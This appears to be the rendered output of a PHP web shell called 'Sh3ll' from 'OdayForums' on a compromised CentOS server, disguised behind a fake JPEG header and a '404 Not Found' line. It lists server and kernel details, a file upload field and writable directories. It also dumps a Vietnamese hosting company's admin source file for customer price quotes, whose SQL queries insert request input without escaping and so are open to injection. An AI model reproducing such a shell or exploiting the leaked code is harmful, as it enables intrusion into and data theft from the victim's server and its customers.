����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/admin.adimi/code/management/customer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/admin.adimi/code/management/customer/baogia.php
<?php
$v_customer_id = (isset($CORE->input['customer_id']) && $CORE->input['customer_id']>0) ? $CORE->input['customer_id'] : 0;
/*if(intval($v_customer_id)==0){
    echo '<script>alert(\'Không tồn tại mã khách hàng!\');</script>';
    $print->refresh('?act=management&code=customer');
}*/
$type2 = (isset($CORE->input['type2']) && $CORE->input['type2']!='') ? $CORE->input['type2'] : 'hosting';

$row_customer = $DB->fetch_row($DB->query("SELECT * FROM tb_customer WHERE customer_id='$v_customer_id' "));

$v_customer_baogia_id = (isset($CORE->input['customer_baogia_id']) && $CORE->input['customer_baogia_id']>0) ? $CORE->input['customer_baogia_id'] : 0;

if($v_customer_baogia_id==0) {
    $row_check = $DB->get_colum_tb('tb_customer_baogia');
    $row_check['customer_baogia_ngaygui'] = date('d-m-Y');
    $row_check['customer_baogia_congtynguoinhan'] = $row_customer['customer_company'];
    $row_check['customer_baogia_tennguoinhan'] = $row_customer['customer_fullname'];
    $row_check['customer_baogia_gender'] =  $row_customer['customer_gender'];
    $row_check['customer_baogia_dienthoainguoinhan'] =  $row_customer['customer_mobile'];
    $row_check['customer_baogia_emailnguoinhan'] =  $row_customer['customer_email'];
    $row_check['customer_baogia_congtynguoigui'] = 'Công ty TNHH KVV Anh Vũ';
    $row_check['customer_baogia_tennguoigui'] = $ob_user->fullname;
    $row_check['customer_baogia_hostingbackup'] = 'Miễn phí';
    $row_check['customer_baogia_hostingssl'] = 'Miễn phí';
    $txt_ghichu = '';
    foreach ($arr_baogia_ghichu as $key=>$val){
        $txt_ghichu .= '<input type="checkbox" value="'.$key.'" name="f[ghichu][]" checked> '.$val.'<br/>';
    }
}else{
    $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_customer_baogia WHERE customer_id='$v_customer_id' AND customer_baogia_id='$v_customer_baogia_id'  "));

    $row_check['customer_baogia_ngaygui'] = date('d-m-Y',strtotime($row_check['customer_baogia_ngaygui']));

    $txt_ghichu = '';
    foreach ($arr_baogia_ghichu as $key=>$val){
        if(strpos($row_check['customer_baogia_hostingghichu'],$key.'@')!==false) {
            $txt_ghichu .= '<input type="checkbox" value="' . $key . '" name="f[ghichu][]" checked> ' . $val . '<br/>';
        }else{
            $txt_ghichu .= '<input type="checkbox" value="' . $key . '" name="f[ghichu][]"> ' . $val . '<br/>';
        }
    }

    $q_item = $DB->query("SELECT * FROM tb_baogia_item WHERE customer_baogia_id='$v_customer_baogia_id' AND customer_id='$v_customer_id' ORDER BY time_post ASC ");
    $html_item = '';
    while ($r_item = $DB->fetch_row($q_item)){
        $html_item .= '<tr>
                            <td><input type="text" value="'.$r_item['baogia_item_name'].'" name="f[dich_vu][]" class="form-control"></td>
                            <td><input type="text" value="'.$r_item['baogia_item_price'].'" name="f[chi_phi][]" class="money form-control"> [<a href="?act=management&code=customer&type=del_item&customer_id='.$r_item['customer_id'].'&customer_baogia_id='.$r_item['customer_baogia_id'].'&item_id='.$r_item['baogia_item_id'].'" onclick="return confirm(\'Bạn có chắc muốn xóa?\')">Xóa</a>]</td>
                        </tr>';
    }

}
if(isset($CORE->input['submitbt'])){
    $f = $CORE->input['f'];
    $txt_ngay_gui = date('Y-m-d',strtotime($f['customer_baogia_ngaygui']));
    $v_chiphi = $func->just_number($f['customer_baogia_hostingchiphi']);

    if(intval($f['customer_id'])==0){
        echo '<script>alert(\'Không tồn tại mã khách hàng!\');</script>';
        $print->refresh('?act=management&code=customer');
    }
    $txt_ghichu = '';
    if(!empty($f['ghichu'])){
        $txt_ghichu = implode('@',$f['ghichu']).'@';
    }
    if(intval($f['customer_baogia_id'])==0){
        $arr_insert = array(
            'customer_id'=>$f['customer_id'],
            'customer_baogia_type'=>$f['customer_baogia_type'],
            'customer_baogia_congtynguoinhan'=>$f['customer_baogia_congtynguoinhan'],
            'customer_baogia_tennguoinhan'=>$f['customer_baogia_tennguoinhan'],
            'customer_baogia_gender' => $f['customer_baogia_gender'],
            'customer_baogia_dienthoainguoinhan'=>$f['customer_baogia_dienthoainguoinhan'],
            'customer_baogia_emailnguoinhan'=>$f['customer_baogia_emailnguoinhan'],
            'customer_baogia_congtynguoigui'=>$f['customer_baogia_congtynguoigui'],
            'customer_baogia_tennguoigui'=>$f['customer_baogia_tennguoigui'],
            'customer_baogia_dienthoainguoigui'=>$f['customer_baogia_dienthoainguoigui'],
            'customer_baogia_emailnguoigui'=>$f['customer_baogia_emailnguoigui'],
            'customer_baogia_ngaygui'=>$txt_ngay_gui,
            'customer_baogia_name'=>trim($f['customer_baogia_name']),
            'customer_baogia_hostingghichu'=>$txt_ghichu,
            'customer_baogia_status'=>'pending',
            'time_post'=>time(),
            'user_post'=>$ob_user->user_name
            );
        $v_customer_baogia_id = $DB->do_insert('tb_customer_baogia',$arr_insert);

    }else{//do update
        $v_customer_baogia_id = intval($f['customer_baogia_id']);
        $arr_update = array(
            'customer_baogia_congtynguoinhan'=>$f['customer_baogia_congtynguoinhan'],
            'customer_baogia_tennguoinhan'=>$f['customer_baogia_tennguoinhan'],
            'customer_baogia_gender' => $f['customer_baogia_gender'],
            'customer_baogia_dienthoainguoinhan'=>$f['customer_baogia_dienthoainguoinhan'],
            'customer_baogia_emailnguoinhan'=>$f['customer_baogia_emailnguoinhan'],
            'customer_baogia_congtynguoigui'=>$f['customer_baogia_congtynguoigui'],
            'customer_baogia_tennguoigui'=>$f['customer_baogia_tennguoigui'],
            'customer_baogia_dienthoainguoigui'=>$f['customer_baogia_dienthoainguoigui'],
            'customer_baogia_emailnguoigui'=>$f['customer_baogia_emailnguoigui'],
            'customer_baogia_ngaygui'=>$txt_ngay_gui,
            'customer_baogia_name'=>trim($f['customer_baogia_name']),
            'customer_baogia_hostingghichu'=>$txt_ghichu,
            'customer_baogia_status'=>'pending',
            'time_post'=>time(),
            'user_post'=>$ob_user->user_name
        );
        $DB->do_update('tb_customer_baogia',$arr_update," WHERE customer_baogia_id='".intval($f['customer_baogia_id'])."' ");

    }
    if(!empty($f['dich_vu'])){
        $DB->query("DELETE FROM tb_baogia_item WHERE customer_baogia_id='$v_customer_baogia_id' AND customer_id='".$f['customer_id']."' ");
        foreach ($f['dich_vu'] as $key=>$val){
            $v_item_price = $func->just_number($f['chi_phi'][$key]);
            $arr_insert_item = array('customer_baogia_id'=>$v_customer_baogia_id,'customer_id'=>$f['customer_id'],'baogia_item_name'=>$val,'baogia_item_price'=>$v_item_price,'time_post'=>time(),'user_post'=>$ob_user->user_name);
            $DB->do_insert('tb_baogia_item',$arr_insert_item);
        }
    }
    $print->refresh('?act=management&code=customer&type=baogia&customer_id='.$f['customer_id'].'&customer_baogia_id='.$v_customer_baogia_id);

}
//bao gia da cap nhat
$q_baogia = $DB->query("SELECT * FROM tb_customer_baogia WHERE customer_id='$v_customer_id' ORDER BY customer_baogia_ngaygui ASC");
$txt_list = '';
while ($r_baogia = $DB->fetch_row($q_baogia)){
    $q_item = $DB->query("SELECT * FROM tb_baogia_item WHERE customer_baogia_id='".$r_baogia['customer_baogia_id']."' AND customer_id='".$r_baogia['customer_id']."' ORDER BY time_post ASC ");
    $v_chi_phi = 0;
    while ($r_item = $DB->fetch_row($q_item)){
        $v_chi_phi += $r_item['baogia_item_price'];
    }
    $txt_status = '';
    if($r_baogia['customer_baogia_status']=='pending'){
        $txt_status = 'Đang cập nhật';
    }
    if($r_baogia['customer_baogia_status']=='sent'){
        $txt_status = '<span class="text-success">Đã gửi báo giá</span>';
    }
    $txt_list .= '<tr><td>'.$r_baogia['customer_baogia_id'].'</td><td>'.$r_baogia['customer_baogia_name'].'</td><td>'.$r_baogia['customer_baogia_tennguoinhan'].'</td><td>'.$r_baogia['customer_baogia_emailnguoinhan'].'</td><td>'.$fmt->formatCurrency($v_chi_phi,'VND').'</td>
<td>'.$txt_status.'</td>
<td><a href="?act=management&code=customer&type=print_baogia&type2='.$r_baogia['customer_baogia_type'].'&customer_id='.$r_baogia['customer_id'].'&customer_baogia_id='.$r_baogia['customer_baogia_id'].'" target="_blank">In báo giá</a> | <a href="?act=management&code=customer&type=send_baogia&type2='.$r_baogia['customer_baogia_type'].'&customer_id='.$r_baogia['customer_id'].'&customer_baogia_id='.$r_baogia['customer_baogia_id'].'" target="_blank">Gửi báo giá</a> | <a href="?act=management&code=customer&type=baogia&type2='.$r_baogia['customer_baogia_type'].'&customer_id='.$r_baogia['customer_id'].'&customer_baogia_id='.$r_baogia['customer_baogia_id'].'">Sửa</a> | <a href="?act=management&code=customer&type=del_baogia&type2='.$r_baogia['customer_baogia_type'].'&customer_id='.$r_baogia['customer_id'].'&customer_baogia_id='.$r_baogia['customer_baogia_id'].'" onclick="return confirm(\'Bạn có chắc muốn xóa?\')"> Xóa</a></td></tr>';
}

?>

ZeroDay Forums Mini